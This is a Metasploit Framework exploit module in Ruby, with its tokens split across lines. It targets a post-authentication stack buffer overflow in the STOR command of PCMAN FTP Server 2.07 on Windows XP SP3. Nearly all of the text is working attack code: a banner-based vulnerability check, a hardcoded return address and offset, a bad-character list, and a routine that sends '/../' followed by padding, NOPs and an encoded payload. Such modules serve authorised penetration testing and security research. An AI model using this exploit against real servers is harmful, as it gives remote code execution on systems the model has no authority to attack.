##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# web site for more information on licensing and terms of use.
##
require
'msf/core'
class
Metasploit3 < Msf::Exploit::Remote
Rank = NormalRanking
include Msf::Exploit::Remote::Ftp
def
initialize(info = {})
super
(update_info(info,
'Name'
=>
'PCMAN FTP Server Post-Authentication STOR Command Stack Buffer Overflow'
,
'Description'
=> %q{
This
module
exploits a buffer overflow vulnerability found
in
the
STOR
command of the
PCMAN
FTP
v2.
07
Server
when
the
"/../"
parameters are also sent to the server. Please
note authentication is required
in
order to trigger the vulnerability. The overflowing
string will also be seen on the
FTP
server log console.
},
'Author'
=>
[
'Christian (Polunchis) Ramirez'
,
# Initial Discovery
'Rick (nanotechz9l) Flores'
# Metasploit Module
],
'License'
=>
MSF_LICENSE
,
'References'
=>
[
[
'OSVDB'
,
'94624'
],
[
'EDB'
,
'27703'
]
],
'DefaultOptions'
=>
{
'EXITFUNC'
=>
'process'
,
'VERBOSE'
=>
true
},
'Payload'
=>
{
'Space'
=>
1000
,
'BadChars'
=>
"\x00\xff\x0a\x0d\x20\x40"
,
},
'Platform'
=>
'win'
,
'Targets'
=>
[
[
'Windows XP SP3 English'
,
{
'Ret'
=> 0x77c35459,
# push esp ret C:\WINDOWS\system32\msvcrt.dll
'Offset'
=>
2011
}
],
],
'DisclosureDate'
=>
'Jun 27 2013'
,
'DefaultTarget'
=>
0
))
end
def
check
c = connect_login
disconnect
if
c
and
banner =~ /
220
PCMan's
FTP
Server
2
\.
0
/
# Auth is required to exploit
print_status(
"Able to authenticate, and banner shows the vulnerable version"
)
return
Exploit::CheckCode::Vulnerable
elsif
not
c
and
banner =~ /
220
PCMan's
FTP
Server
2
\.
0
/
print_status(
"Unable to authenticate, but banner shows the vulnerable version"
)
# Auth failed, but based on version maybe the target is vulnerable
return
Exploit::CheckCode::Appears
end
return
Exploit::CheckCode::Safe
end
def
exploit
c = connect_login
# Auth failed. The mixin should show the error, so we just bail.
return
unless
c
# Username is part of the overflowing string, so we need to account for that length
user_length = datastore[
'FTPUSER'
].to_s.length
print_status(
"Trying victim #{target.name}..."
)
sploit = rand_text_alpha(target[
'Offset'
] - user_length)
sploit << [target.ret].pack(
'V'
)
sploit << make_nops(
4
)
sploit << payload.encoded
sploit << rand_text_alpha(sploit.length)
send_cmd( [
"STOR"
,
"/../"
+ sploit],
false
)
disconnect
end
end